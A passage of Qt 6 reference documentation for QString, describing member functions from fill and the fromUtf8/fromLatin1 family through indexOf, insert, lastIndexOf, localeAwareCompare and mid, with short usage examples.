 Removes from the string the characters in the half-open range [ *first* , *last* ). Returns an iterator to the character referred to by *last* before the erase.

 This function was introduced in Qt 6.1.

 ### 
[QString](qstring#QString) &QString::fill([QChar](qchar) *ch*, qsizetype *size* = -1)

 Sets every character in the string to character *ch*. If *size* is different from -1 (default), the string is resized to *size* beforehand.

 Example:

 
```
QString str = "Berlin";
str.fill('z');
// str == "zzzzzz"

str.fill('A', 2);
// str == "AA"
```
 **See also** [resize](qstring#resize)().

 ### 
`[since 6.0]` [QString](qstring#QString) QString::first(qsizetype *n*) const

 Returns a string that contains the first *n* characters of this string.

  **Note:** The behavior is undefined when *n* < 0 or *n* > [size](qstring#size)().

  
```
QString x = "Pineapple";
QString y = x.first(4);      // y == "Pine"
```
 This function was introduced in Qt 6.0.

 **See also** [last](qstring#last)(), [sliced](qstring#sliced)(), [startsWith](qstring#startsWith)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
`[static, since 5.2]` [QString](qstring#QString) QString::fromCFString(CFStringRef *string*)

 Constructs a new [QString](qstring) containing a copy of the *string* CFString.

  **Note:** this function is only available on macOS and iOS.

  This function was introduced in Qt 5.2.

 ### 
`[static]` [QString](qstring#QString) QString::fromLatin1(const char \**str*, qsizetype *size*)

 Returns a [QString](qstring) initialized with the first *size* characters of the Latin-1 string *str*.

 If *size* is `-1`, `strlen(str)` is used instead.

 **See also** [toLatin1](qstring#toLatin1)(), [fromUtf8](qstring#fromUtf8)(), and [fromLocal8Bit](qstring#fromLocal8Bit)().

 ### 
`[static, since 6.0]` [QString](qstring#QString) QString::fromLatin1([QByteArrayView](qbytearrayview) *str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the Latin-1 string *str*.

 This function was introduced in Qt 6.0.

 ### 
`[static, since 5.0]` template <typename> [QString](qstring#QString) QString::fromLatin1(const [QByteArray](qbytearray) &*str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the Latin-1 string *str*.

 This function was introduced in Qt 5.0.

 ### 
`[static]` [QString](qstring#QString) QString::fromLocal8Bit(const char \**str*, qsizetype *size*)

 Returns a [QString](qstring) initialized with the first *size* characters of the 8-bit string *str*.

 If *size* is `-1`, `strlen(str)` is used instead.

 On Unix systems this is equivalen to [fromUtf8](qstring#fromUtf8)(), on Windows the systems current code page is being used.

 **See also** [toLocal8Bit](qstring#toLocal8Bit)(), [fromLatin1](qstring#fromLatin1)(), and [fromUtf8](qstring#fromUtf8)().

 ### 
`[static, since 6.0]` [QString](qstring#QString) QString::fromLocal8Bit([QByteArrayView](qbytearrayview) *str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the 8-bit string *str*.

 This function was introduced in Qt 6.0.

 ### 
`[static, since 5.0]` template <typename> [QString](qstring#QString) QString::fromLocal8Bit(const [QByteArray](qbytearray) &*str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the 8-bit string *str*.

 This function was introduced in Qt 5.0.

 ### 
`[static, since 5.2]` [QString](qstring#QString) QString::fromNSString(const NSString \**string*)

 Constructs a new [QString](qstring) containing a copy of the *string* NSString.

  **Note:** this function is only available on macOS and iOS.

  This function was introduced in Qt 5.2.

 ### 
`[static]` [QString](qstring#QString) QString::fromRawData(const [QChar](qchar) \**unicode*, qsizetype *size*)

 Constructs a [QString](qstring) that uses the first *size* Unicode characters in the array *unicode*. The data in *unicode* is *not* copied. The caller must be able to guarantee that *unicode* will not be deleted or modified as long as the [QString](qstring) (or an unmodified copy of it) exists.

 Any attempts to modify the [QString](qstring) or copies of it will cause it to create a deep copy of the data, ensuring that the raw data isn't modified.

 Here is an example of how we can use a [QRegularExpression](qregularexpression) on raw data in memory without requiring to copy the data into a [QString](qstring):

 
```
QRegularExpression pattern("\u00A4");
static const QChar unicode[] = {
        0x005A, 0x007F, 0x00A4, 0x0060,
        0x1009, 0x0020, 0x0020};
qsizetype size = sizeof(unicode) / sizeof(QChar);

QString str = QString::fromRawData(unicode, size);
if (str.contains(pattern) {
    // ...
}
```
  **Warning:** A string created with fromRawData() is *not* '\0'-terminated, unless the raw data contains a '\0' character at position *size*. This means [unicode](qstring#unicode)() will *not* return a '\0'-terminated string (although [utf16](qstring#utf16)() does, at the cost of copying the raw data).

  **See also** [fromUtf16](qstring#fromUtf16)() and [setRawData](qstring#setRawData)().

 ### 
`[static]` [QString](qstring#QString) QString::fromStdString(const std::string &*str*)

 Returns a copy of the *str* string. The given string is converted to Unicode using the [fromUtf8](qstring#fromUtf8)() function.

 **See also** [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), [fromUtf8](qstring#fromUtf8)(), and [QByteArray::fromStdString](qbytearray#fromStdString)().

 ### 
`[static, since 5.5]` [QString](qstring#QString) QString::fromStdU16String(const std::u16string &*str*)

 Returns a copy of the *str* string. The given string is assumed to be encoded in UTF-16.

 This function was introduced in Qt 5.5.

 **See also** [fromUtf16](qstring#fromUtf16)(), [fromStdWString](qstring#fromStdWString)(), and [fromStdU32String](qstring#fromStdU32String)().

 ### 
`[static, since 5.5]` [QString](qstring#QString) QString::fromStdU32String(const std::u32string &*str*)

 Returns a copy of the *str* string. The given string is assumed to be encoded in UCS-4.

 This function was introduced in Qt 5.5.

 **See also** [fromUcs4](qstring#fromUcs4)(), [fromStdWString](qstring#fromStdWString)(), and [fromStdU16String](qstring#fromStdU16String)().

 ### 
`[static]` [QString](qstring#QString) QString::fromStdWString(const std::wstring &*str*)

 Returns a copy of the *str* string. The given string is assumed to be encoded in utf16 if the size of wchar\_t is 2 bytes (e.g. on windows) and ucs4 if the size of wchar\_t is 4 bytes (most Unix systems).

 **See also** [fromUtf16](qstring#fromUtf16)(), [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), [fromUtf8](qstring#fromUtf8)(), [fromUcs4](qstring#fromUcs4)(), [fromStdU16String](qstring#fromStdU16String)(), and [fromStdU32String](qstring#fromStdU32String)().

 ### 
`[static, since 5.3]` [QString](qstring#QString) QString::fromUcs4(const char32\_t \**unicode*, qsizetype *size* = -1)

 Returns a [QString](qstring) initialized with the first *size* characters of the Unicode string *unicode* (ISO-10646-UCS-4 encoded).

 If *size* is -1 (default), *unicode* must be \0'-terminated.

 This function was introduced in Qt 5.3.

 **See also** [toUcs4](qstring#toUcs4)(), [fromUtf16](qstring#fromUtf16)(), [utf16](qstring#utf16)(), [setUtf16](qstring#setUtf16)(), [fromWCharArray](qstring#fromWCharArray)(), and [fromStdU32String](qstring#fromStdU32String)().

 ### 
`[static]` [QString](qstring#QString) QString::fromUtf8(const char \**str*, qsizetype *size*)

 Returns a [QString](qstring) initialized with the first *size* bytes of the UTF-8 string *str*.

 If *size* is `-1`, `strlen(str)` is used instead.

 UTF-8 is a Unicode codec and can represent all characters in a Unicode string like [QString](qstring). However, invalid sequences are possible with UTF-8 and, if any such are found, they will be replaced with one or more "replacement characters", or suppressed. These include non-Unicode sequences, non-characters, overlong sequences or surrogate codepoints encoded into UTF-8.

 This function can be used to process incoming data incrementally as long as all UTF-8 characters are terminated within the incoming data. Any unterminated characters at the end of the string will be replaced or suppressed. In order to do stateful decoding, please use [QStringDecoder](qstringdecoder).

 **See also** [toUtf8](qstring#toUtf8)(), [fromLatin1](qstring#fromLatin1)(), and [fromLocal8Bit](qstring#fromLocal8Bit)().

 ### 
`[static, since 6.0]` [QString](qstring#QString) QString::fromUtf8([QByteArrayView](qbytearrayview) *str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the UTF-8 string *str*.

 This function was introduced in Qt 6.0.

 ### 
`[static, since 5.0]` template <typename> [QString](qstring#QString) QString::fromUtf8(const [QByteArray](qbytearray) &*str*)

 This is an overloaded function.

 Returns a [QString](qstring) initialized with the UTF-8 string *str*.

 This function was introduced in Qt 5.0.

 ### 
`[static, since 6.1]` template <typename> [QString](qstring#QString) QString::fromUtf8(const char8\_t \**str*)

 This is an overloaded function.

 This overload is only available when compiling in C++20 mode.

 This function was introduced in Qt 6.1.

 ### 
`[static, since 6.0]` template <typename> [QString](qstring#QString) QString::fromUtf8(const char8\_t \**str*, qsizetype *size*)

 This is an overloaded function.

 This overload is only available when compiling in C++20 mode.

 This function was introduced in Qt 6.0.

 ### 
`[static, since 5.3]` [QString](qstring#QString) QString::fromUtf16(const char16\_t \**unicode*, qsizetype *size* = -1)

 Returns a [QString](qstring) initialized with the first *size* characters of the Unicode string *unicode* (ISO-10646-UTF-16 encoded).

 If *size* is -1 (default), *unicode* must be \0'-terminated.

 This function checks for a Byte Order Mark (BOM). If it is missing, host byte order is assumed.

 This function is slow compared to the other Unicode conversions. Use [QString](qstring)(const [QChar](qchar) \*, int) or [QString](qstring)(const [QChar](qchar) \*) if possible.

 [QString](qstring) makes a deep copy of the Unicode data.

 This function was introduced in Qt 5.3.

 **See also** [utf16](qstring#utf16)(), [setUtf16](qstring#setUtf16)(), and [fromStdU16String](qstring#fromStdU16String)().

 ### 
`[static]` [QString](qstring#QString) QString::fromWCharArray(const wchar\_t \**string*, qsizetype *size* = -1)

 Returns a copy of the *string*, where the encoding of *string* depends on the size of wchar. If wchar is 4 bytes, the *string* is interpreted as UCS-4, if wchar is 2 bytes it is interpreted as UTF-16.

 If *size* is -1 (default), the *string* must be '\0'-terminated.

 **See also** [fromUtf16](qstring#fromUtf16)(), [fromLatin1](qstring#fromLatin1)(), [fromLocal8Bit](qstring#fromLocal8Bit)(), [fromUtf8](qstring#fromUtf8)(), [fromUcs4](qstring#fromUcs4)(), and [fromStdWString](qstring#fromStdWString)().

 ### 
`[since 5.10]` [QChar](qchar) QString::front() const

 Returns the first character in the string. Same as `at(0)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty string constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [back](qstring#back)(), [at](qstring#at)(), and [operator[]](qstring#operator-5b-5d)().

 ### 
`[since 5.10]` [QChar](qchar) &QString::front()

 Returns a reference to the first character in the string. Same as `operator[](0)`.

 This function is provided for STL compatibility.

  **Warning:** Calling this function on an empty string constitutes undefined behavior.

  This function was introduced in Qt 5.10.

 **See also** [back](qstring#back)(), [at](qstring#at)(), and [operator[]](qstring#operator-5b-5d)().

 ### 
qsizetype QString::indexOf([QLatin1String](qlatin1string) *str*, qsizetype *from* = 0, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns the index position of the first occurrence of the string *str* in this string, searching forward from index position *from*. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "sticky question";
QString y = "sti";
x.indexOf(y);               // returns 0
x.indexOf(y, 1);            // returns 10
x.indexOf(y, 10);           // returns 10
x.indexOf(y, 11);           // returns -1
```
 If *from* is -1, the search starts at the last character; if it is -2, at the next to last character and so on.

 **See also** [lastIndexOf](qstring#lastIndexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
qsizetype QString::indexOf([QChar](qchar) *ch*, qsizetype *from* = 0, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads indexOf().

 Returns the index position of the first occurrence of the character *ch* in the string, searching forward from index position *from*. Returns -1 if *ch* could not be found.

 ### 
qsizetype QString::indexOf(const [QString](qstring#QString) &*str*, qsizetype *from* = 0, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns the index position of the first occurrence of the string *str* in this string, searching forward from index position *from*. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "sticky question";
QString y = "sti";
x.indexOf(y);               // returns 0
x.indexOf(y, 1);            // returns 10
x.indexOf(y, 10);           // returns 10
x.indexOf(y, 11);           // returns -1
```
 If *from* is -1, the search starts at the last character; if it is -2, at the next to last character and so on.

 **See also** [lastIndexOf](qstring#lastIndexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 5.14]` qsizetype QString::indexOf([QStringView](qstringview) *str*, qsizetype *from* = 0, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads indexOf().

 Returns the index position of the first occurrence of the string view *str* in this string, searching forward from index position *from*. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 If *from* is -1, the search starts at the last character; if it is -2, at the next to last character and so on.

 This function was introduced in Qt 5.14.

 **See also** [QStringView::indexOf](qstringview#indexOf)(), [lastIndexOf](qstring#lastIndexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 5.5]` qsizetype QString::indexOf(const [QRegularExpression](qregularexpression) &*re*, qsizetype *from* = 0, [QRegularExpressionMatch](qregularexpressionmatch) \**rmatch* = nullptr) const

 Returns the index position of the first match of the regular expression *re* in the string, searching forward from index position *from*. Returns -1 if *re* didn't match anywhere.

 If the match is successful and *rmatch* is not `nullptr`, it also writes the results of the match into the [QRegularExpressionMatch](qregularexpressionmatch) object pointed to by *rmatch*.

 Example:

 
```
QString str = "the minimum";
str.indexOf(QRegularExpression("m[aeiou]"), 0);       // returns 4

QString str = "the minimum";
QRegularExpressionMatch match;
str.indexOf(QRegularExpression("m[aeiou]"), 0, &match);       // returns 4
// match.captured() == mi
```
 This function was introduced in Qt 5.5.

 ### 
[QString](qstring#QString) &QString::insert(qsizetype *position*, const [QString](qstring#QString) &*str*)

 Inserts the string *str* at the given index *position* and returns a reference to this string.

 Example:

 
```
QString str = "Meal";
str.insert(1, QString("ontr"));
// str == "Montreal"
```
 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *str*.

 **See also** [append](qstring#append)(), [prepend](qstring#prepend)(), [replace](qstring#replace)(), and [remove](qstring#remove)().

 ### 
[QString](qstring#QString) &QString::insert(qsizetype *position*, [QChar](qchar) *ch*)

 This function overloads insert().

 Inserts *ch* at the given index *position* in the string.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *ch*.

 ### 
[QString](qstring#QString) &QString::insert(qsizetype *position*, const [QChar](qchar) \**unicode*, qsizetype *size*)

 This function overloads insert().

 Inserts the first *size* characters of the [QChar](qchar) array *unicode* at the given index *position* in the string.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *size* characters of the [QChar](qchar) array *unicode*.

 ### 
`[since 6.0]` [QString](qstring#QString) &QString::insert(qsizetype *position*, [QStringView](qstringview) *str*)

 This function overloads insert().

 Inserts the string view *str* at the given index *position* and returns a reference to this string.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *str*.

 This function was introduced in Qt 6.0.

 ### 
[QString](qstring#QString) &QString::insert(qsizetype *position*, [QLatin1String](qlatin1string) *str*)

 This function overloads insert().

 Inserts the Latin-1 string *str* at the given index *position*.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *str*.

 ### 
`[since 5.5]` [QString](qstring#QString) &QString::insert(qsizetype *position*, const char \**str*)

 This function overloads insert().

 Inserts the C string *str* at the given index *position* and returns a reference to this string.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *str*.

 This function is not available when [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) is defined.

 This function was introduced in Qt 5.5.

 ### 
`[since 5.5]` [QString](qstring#QString) &QString::insert(qsizetype *position*, const [QByteArray](qbytearray) &*str*)

 This function overloads insert().

 Interprets the contents of *str* as UTF-8, inserts the Unicode string it encodes at the given index *position* and returns a reference to this string.

 This string grows to accommodate the insertion. If *position* is beyond the end of the string, space characters are appended to the string to reach this *position*, followed by *str*.

 This function is not available when [QT\_NO\_CAST\_FROM\_ASCII](qstring#QT_NO_CAST_FROM_ASCII) is defined.

 This function was introduced in Qt 5.5.

 ### 
bool QString::isEmpty() const

 Returns `true` if the string has no characters; otherwise returns `false`.

 Example:

 
```
QString().isEmpty();            // returns true
QString("").isEmpty();          // returns true
QString("x").isEmpty();         // returns false
QString("abc").isEmpty();       // returns false
```
 **See also** [size](qstring#size)().

 ### 
`[since 5.12]` bool QString::isLower() const

 Returns `true` if the string is lowercase, that is, it's identical to its [toLower](qstring#toLower)() folding.

 Note that this does *not* mean that the string does not contain uppercase letters (some uppercase letters do not have a lowercase folding; they are left unchanged by [toLower](qstring#toLower)()). For more information, refer to the Unicode standard, section 3.13.

 This function was introduced in Qt 5.12.

 **See also** [QChar::toLower](qchar#toLower)() and [isUpper](qstring#isUpper)().

 ### 
bool QString::isNull() const

 Returns `true` if this string is null; otherwise returns `false`.

 Example:

 
```
QString().isNull();             // returns true
QString("").isNull();           // returns false
QString("abc").isNull();        // returns false
```
 Qt makes a distinction between null strings and empty strings for historical reasons. For most applications, what matters is whether or not a string contains any data, and this can be determined using the [isEmpty](qstring#isEmpty)() function.

 **See also** [isEmpty](qstring#isEmpty)().

 ### 
bool QString::isRightToLeft() const

 Returns `true` if the string is read right to left.

 **See also** [QStringView::isRightToLeft](qstringview#isRightToLeft)().

 ### 
`[since 5.12]` bool QString::isUpper() const

 Returns `true` if the string is uppercase, that is, it's identical to its [toUpper](qstring#toUpper)() folding.

 Note that this does *not* mean that the string does not contain lowercase letters (some lowercase letters do not have a uppercase folding; they are left unchanged by [toUpper](qstring#toUpper)()). For more information, refer to the Unicode standard, section 3.13.

 This function was introduced in Qt 5.12.

 **See also** [QChar::toUpper](qchar#toUpper)() and [isLower](qstring#isLower)().

 ### 
`[since 5.15]` bool QString::isValidUtf16() const

 Returns `true` if the string contains valid UTF-16 encoded data, or `false` otherwise.

 Note that this function does not perform any special validation of the data; it merely checks if it can be successfully decoded from UTF-16. The data is assumed to be in host byte order; the presence of a BOM is meaningless.

 This function was introduced in Qt 5.15.

 **See also** [QStringView::isValidUtf16](qstringview#isValidUtf16)().

 ### 
`[since 6.0]` [QString](qstring#QString) QString::last(qsizetype *n*) const

 Returns the string that contains the last *n* characters of this string.

  **Note:** The behavior is undefined when *n* < 0 or *n* > [size](qstring#size)().

  
```
QString x = "Pineapple";
QString y = x.last(5);      // y == "apple"
```
 This function was introduced in Qt 6.0.

 **See also** [first](qstring#first)(), [sliced](qstring#sliced)(), [endsWith](qstring#endsWith)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
qsizetype QString::lastIndexOf(const [QString](qstring#QString) &*str*, qsizetype *from*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 Returns the index position of the last occurrence of the string *str* in this string, searching backward from index position *from*. If *from* is -1, the search starts at the last character; if *from* is -2, at the next to last character and so on. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
  **Note:** When searching for a 0-length *str*, the match at the end of the data is excluded from the search by a negative *from*, even though `-1` is normally thought of as searching from the end of the string: the match at the end is *after* the last character, so it is excluded. To include such a final empty match, either give a positive value for *from* or omit the *from* parameter entirely.

  **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
qsizetype QString::lastIndexOf([QChar](qchar) *ch*, qsizetype *from* = -1, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the character *ch*, searching backward from position *from*.

 ### 
`[since 6.2]` qsizetype QString::lastIndexOf([QLatin1String](qlatin1string) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the string *str* in this string. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
 This function was introduced in Qt 6.2.

 **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
qsizetype QString::lastIndexOf([QLatin1String](qlatin1string) *str*, qsizetype *from*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the string *str* in this string, searching backward from index position *from*. If *from* is -1, the search starts at the last character; if *from* is -2, at the next to last character and so on. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
  **Note:** When searching for a 0-length *str*, the match at the end of the data is excluded from the search by a negative *from*, even though `-1` is normally thought of as searching from the end of the string: the match at the end is *after* the last character, so it is excluded. To include such a final empty match, either give a positive value for *from* or omit the *from* parameter entirely.

  **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 6.2]` qsizetype QString::lastIndexOf(const [QString](qstring#QString) &*str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the string *str* in this string. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 Example:

 
```
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y);           // returns 6
x.lastIndexOf(y, 6);        // returns 6
x.lastIndexOf(y, 5);        // returns 2
x.lastIndexOf(y, 1);        // returns -1
```
 This function was introduced in Qt 6.2.

 **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 6.2]` qsizetype QString::lastIndexOf([QStringView](qstringview) *str*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the string view *str* in this string. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

 This function was introduced in Qt 6.2.

 **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 5.14]` qsizetype QString::lastIndexOf([QStringView](qstringview) *str*, qsizetype *from*, [Qt::CaseSensitivity](qt#CaseSensitivity-enum) *cs* = Qt::CaseSensitive) const

 This function overloads lastIndexOf().

 Returns the index position of the last occurrence of the string view *str* in this string, searching backward from index position *from*. If *from* is -1, the search starts at the last character; if *from* is -2, at the next to last character and so on. Returns -1 if *str* is not found.

 If *cs* is [Qt::CaseSensitive](qt#CaseSensitivity-enum) (default), the search is case sensitive; otherwise the search is case insensitive.

  **Note:** When searching for a 0-length *str*, the match at the end of the data is excluded from the search by a negative *from*, even though `-1` is normally thought of as searching from the end of the string: the match at the end is *after* the last character, so it is excluded. To include such a final empty match, either give a positive value for *from* or omit the *from* parameter entirely.

  This function was introduced in Qt 5.14.

 **See also** [indexOf](qstring#indexOf)(), [contains](qstring#contains)(), and [count](qstring#count-1)().

 ### 
`[since 6.2]` qsizetype QString::lastIndexOf(const [QRegularExpression](qregularexpression) &*re*, [QRegularExpressionMatch](qregularexpressionmatch) \**rmatch* = nullptr) const

 This function overloads lastIndexOf().

 Returns the index position of the last match of the regular expression *re* in the string. Returns -1 if *re* didn't match anywhere.

 If the match is successful and *rmatch* is not `nullptr`, it also writes the results of the match into the [QRegularExpressionMatch](qregularexpressionmatch) object pointed to by *rmatch*.

 Example:

 
```
QString str = "the minimum";
str.lastIndexOf(QRegularExpression("m[aeiou]"));      // returns 8

QString str = "the minimum";
QRegularExpressionMatch match;
str.lastIndexOf(QRegularExpression("m[aeiou]"), -1, &match);      // returns 8
// match.captured() == mu
```
  **Note:** Due to how the regular expression matching algorithm works, this function will actually match repeatedly from the beginning of the string until the end of the string is reached.

  This function was introduced in Qt 6.2.

 ### 
`[since 5.5]` qsizetype QString::lastIndexOf(const [QRegularExpression](qregularexpression) &*re*, qsizetype *from*, [QRegularExpressionMatch](qregularexpressionmatch) \**rmatch* = nullptr) const

 Returns the index position of the last match of the regular expression *re* in the string, which starts before the index position *from*. If *from* is -1, the search starts at the last character; if *from* is -2, at the next to last character and so on. Returns -1 if *re* didn't match anywhere.

 If the match is successful and *rmatch* is not `nullptr`, it also writes the results of the match into the [QRegularExpressionMatch](qregularexpressionmatch) object pointed to by *rmatch*.

 Example:

 
```
QString str = "the minimum";
str.lastIndexOf(QRegularExpression("m[aeiou]"));      // returns 8

QString str = "the minimum";
QRegularExpressionMatch match;
str.lastIndexOf(QRegularExpression("m[aeiou]"), -1, &match);      // returns 8
// match.captured() == mu
```
  **Note:** Due to how the regular expression matching algorithm works, this function will actually match repeatedly from the beginning of the string until the position *from* is reached.

   **Note:** When searching for a regular expression *re* that may match 0 characters, the match at the end of the data is excluded from the search by a negative *from*, even though `-1` is normally thought of as searching from the end of the string: the match at the end is *after* the last character, so it is excluded. To include such a final empty match, either give a positive value for *from* or omit the *from* parameter entirely.

  This function was introduced in Qt 5.5.

 ### 
[QString](qstring#QString) QString::left(qsizetype *n*) const

 Returns a substring that contains the *n* leftmost characters of the string.

 If you know that *n* cannot be out of bounds, use [first](qstring#first)() instead in new code, because it is faster.

 The entire string is returned if *n* is greater than or equal to [size](qstring#size)(), or less than zero.

 **See also** [first](qstring#first)(), [last](qstring#last)(), [startsWith](qstring#startsWith)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
[QString](qstring#QString) QString::leftJustified(qsizetype *width*, [QChar](qchar) *fill* = QLatin1Char(' '), bool *truncate* = false) const

 Returns a string of size *width* that contains this string padded by the *fill* character.

 If *truncate* is `false` and the [size](qstring#size)() of the string is more than *width*, then the returned string is a copy of the string.

 
```
QString s = "apple";
QString t = s.leftJustified(8, '.');    // t == "apple..."
```
 If *truncate* is `true` and the [size](qstring#size)() of the string is more than *width*, then any characters in a copy of the string after position *width* are removed, and the copy is returned.

 
```
QString str = "Pineapple";
str = str.leftJustified(5, '.', true);    // str == "Pinea"
```
 **See also** [rightJustified](qstring#rightJustified)().

 ### 
qsizetype QString::length() const

 Returns the number of characters in this string. Equivalent to [size](qstring#size)().

 **See also** [resize](qstring#resize)().

 ### 
`[static]` int QString::localeAwareCompare(const [QString](qstring#QString) &*s1*, const [QString](qstring#QString) &*s2*)

 Compares *s1* with *s2* and returns an integer less than, equal to, or greater than zero if *s1* is less than, equal to, or greater than *s2*.

 The comparison is performed in a locale- and also platform-dependent manner. Use this function to present sorted lists of strings to the user.

 **See also** [compare](qstring#compare)(), [QLocale](qlocale), and [Comparing Strings](qstring#comparing-strings).

 ### 
int QString::localeAwareCompare(const [QString](qstring#QString) &*other*) const

 This function overloads localeAwareCompare().

 Compares this string with the *other* string and returns an integer less than, equal to, or greater than zero if this string is less than, equal to, or greater than the *other* string.

 The comparison is performed in a locale- and also platform-dependent manner. Use this function to present sorted lists of strings to the user.

 Same as `localeAwareCompare(*this, other)`.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
`[since 6.0]` int QString::localeAwareCompare([QStringView](qstringview) *other*) const

 This function overloads localeAwareCompare().

 Compares this string with the *other* string and returns an integer less than, equal to, or greater than zero if this string is less than, equal to, or greater than the *other* string.

 The comparison is performed in a locale- and also platform-dependent manner. Use this function to present sorted lists of strings to the user.

 Same as `localeAwareCompare(*this, other)`.

 This function was introduced in Qt 6.0.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
`[static, since 6.0]` int QString::localeAwareCompare([QStringView](qstringview) *s1*, [QStringView](qstringview) *s2*)

 This function overloads localeAwareCompare().

 Compares *s1* with *s2* and returns an integer less than, equal to, or greater than zero if *s1* is less than, equal to, or greater than *s2*.

 The comparison is performed in a locale- and also platform-dependent manner. Use this function to present sorted lists of strings to the user.

 This function was introduced in Qt 6.0.

 **See also** [Comparing Strings](qstring#comparing-strings).

 ### 
[QString](qstring#QString) QString::mid(qsizetype *position*, qsizetype *n* = -1) const

 Returns a string that contains *n* characters of this string, starting at the specified *position* index.

 If you know that *position* and *n* cannot be out of bounds, use [sliced](qstring#sliced)() instead in new code, because it is faster.

 Returns a null string if the *position* index exceeds the length of the string. If there are less than *n* characters available in the string starting at the given *position*, or if *n* is -1 (default), the function returns all characters that are available from the specified *position*.

 **See also** [first](qstring#first)(), [last](qstring#last)(), [sliced](qstring#sliced)(), [chopped](qstring#chopped)(), [chop](qstring#chop)(), and [truncate](qstring#truncate)().

 ### 
